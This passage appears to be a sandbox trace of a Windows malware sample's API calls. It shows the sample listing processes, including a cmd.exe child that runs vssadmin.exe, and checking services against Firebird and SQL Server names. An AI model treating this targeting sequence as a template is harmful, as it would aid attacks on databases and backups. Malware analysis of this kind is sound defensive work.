lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0047.692] lstrlenW (lpString="services.exe") returned 12 [0047.692] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0047.693] lstrlenW (lpString="lsass.exe") returned 9 [0047.693] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0047.694] lstrlenW (lpString="lsm.exe") returned 7 [0047.694] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.694] lstrlenW (lpString="svchost.exe") returned 11 [0047.694] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.695] lstrlenW (lpString="svchost.exe") returned 11 [0047.695] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.695] lstrlenW (lpString="svchost.exe") returned 11 [0047.695] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.696] lstrlenW (lpString="svchost.exe") returned 11 [0047.696] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.696] lstrlenW (lpString="svchost.exe") returned 11 [0047.696] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0047.697] lstrlenW (lpString="audiodg.exe") returned 11 [0047.697] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.697] lstrlenW (lpString="svchost.exe") returned 11 [0047.698] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.698] lstrlenW (lpString="svchost.exe") returned 11 [0047.698] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0047.699] lstrlenW (lpString="dwm.exe") returned 7 [0047.699] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0047.699] lstrlenW (lpString="explorer.exe") returned 12 [0047.699] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0047.700] lstrlenW (lpString="spoolsv.exe") returned 11 [0047.700] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.701] lstrlenW (lpString="taskhost.exe") returned 12 [0047.701] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0047.701] lstrlenW (lpString="svchost.exe") returned 11 [0047.701] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0047.702] lstrlenW (lpString="taskeng.exe") returned 11 [0047.702] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0047.702] lstrlenW (lpString="taskhost.exe") returned 12 [0047.702] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0047.703] lstrlenW (lpString="promotesrouting.exe") returned 19 [0047.703] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0047.703] lstrlenW (lpString="rxcalled.exe") returned 12 [0047.703] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0047.704] lstrlenW (lpString="off.exe") returned 7 [0047.704] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0047.705] lstrlenW (lpString="mayorintl.exe") returned 13 [0047.705] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0047.705] lstrlenW (lpString="gzip-june.exe") returned 13 [0047.705] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0047.706] lstrlenW (lpString="lsnavy.exe") returned 10 [0047.706] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0047.707] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0047.707] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0047.707] lstrlenW (lpString="specifications.exe") returned 18 [0047.707] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0047.708] lstrlenW (lpString="soup-mario.exe") returned 14 [0047.708] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0047.709] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0047.709] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="platformsprivate.exe")) returned 1 [0047.709] lstrlenW (lpString="platformsprivate.exe") returned 20 [0047.709] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="valve tabs intelligent.exe")) returned 1 [0048.022] lstrlenW (lpString="valve tabs intelligent.exe") returned 26 [0048.022] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bangkok-updates.exe")) returned 1 [0048.022] lstrlenW (lpString="bangkok-updates.exe") returned 19 [0048.023] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scan-allows.exe")) returned 1 [0048.023] lstrlenW (lpString="scan-allows.exe") returned 15 [0048.023] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mwprovince.exe")) returned 1 [0048.024] lstrlenW (lpString="mwprovince.exe") returned 14 [0048.024] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hired_reality_again.exe")) returned 1 [0048.024] lstrlenW (lpString="hired_reality_again.exe") returned 23 [0048.024] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharonphonedebut.exe")) returned 1 [0048.025] lstrlenW (lpString="sharonphonedebut.exe") returned 20 [0048.025] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacting.exe")) returned 1 [0048.025] lstrlenW (lpString="contacting.exe") returned 14 [0048.025] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="continues_does_laos.exe")) returned 1 [0048.026] lstrlenW (lpString="continues_does_laos.exe") returned 23 [0048.026] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jpmanagers.exe")) returned 1 [0048.026] lstrlenW (lpString="jpmanagers.exe") returned 14 [0048.027] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="motor.exe")) returned 1 [0048.027] lstrlenW (lpString="motor.exe") returned 9 [0048.027] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="comboashleyalan.exe")) returned 1 [0048.028] lstrlenW (lpString="comboashleyalan.exe") returned 19 [0048.028] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toshiba.exe")) returned 1 [0048.029] lstrlenW (lpString="toshiba.exe") returned 11 [0048.029] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0048.029] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0048.029] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0048.030] lstrlenW (lpString="mobsync.exe") returned 11 [0048.030] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0048.030] lstrlenW (lpString="3G6885.exe") returned 10 [0048.030] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x99c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0048.032] lstrlenW (lpString="cmd.exe") returned 7 [0048.032] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0048.033] lstrlenW (lpString="conhost.exe") returned 11 [0048.033] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0048.033] lstrlenW (lpString="vssadmin.exe") returned 12 [0048.033] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0048.034] lstrlenW (lpString="VSSVC.exe") returned 9 [0048.034] Process32NextW (in: hSnapshot=0x1ec, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0048.034] CloseHandle (hObject=0x1ec) returned 1 [0048.034] Sleep (dwMilliseconds=0x1f4) [0048.593] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x640210 [0048.768] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 0 [0048.769] GetLastError () returned 0xea [0048.769] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x123e) returned 0x36b4738 [0048.769] EnumServicesStatusExW (in: hSCManager=0x640210, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36b4738, cbBufSize=0x123e, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36b4738, pcbBytesNeeded=0x228ff44, lpServicesReturned=0x228ff5c, lpResumeHandle=0x0) returned 1 [0048.770] CloseServiceHandle (hSCObject=0x640210) returned 1 [0048.770] lstrlenW (lpString="Appinfo") returned 7 [0048.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0048.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0048.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0048.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0048.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0048.771] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0048.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0048.771] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0048.771] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0048.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0048.771] lstrlenW (lpString="AudioSrv") returned 8 [0048.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0048.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0048.771] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0048.771] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.771] lstrlenW (lpString="BFE") returned 3 [0048.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.771] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.771] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.771] lstrlenW (lpString="CryptSvc") returned 8 [0048.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.771] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.771] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.772] lstrlenW (lpString="CscService") returned 10 [0048.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.772] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.772] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.772] lstrlenW (lpString="DcomLaunch") returned 10 [0048.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.772] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.772] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.772] lstrlenW (lpString="Dhcp") returned 4 [0048.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.772] lstrlenW (lpString="Dnscache") returned 8 [0048.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.772] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.772] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.772] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.772] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.772] lstrlenW (lpString="DPS") returned 3 [0048.772] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.773] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.773] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.773] lstrlenW (lpString="eventlog") returned 8 [0048.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.773] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.773] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.773] lstrlenW (lpString="EventSystem") returned 11 [0048.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.773] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.773] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.773] lstrlenW (lpString="gpsvc") returned 5 [0048.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.773] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.773] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.773] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.773] lstrlenW (lpString="iphlpsvc") returned 8 [0048.773] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.773] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.773] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.773] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.774] lstrlenW (lpString="LanmanServer") returned 12 [0048.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.774] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.774] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.774] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") 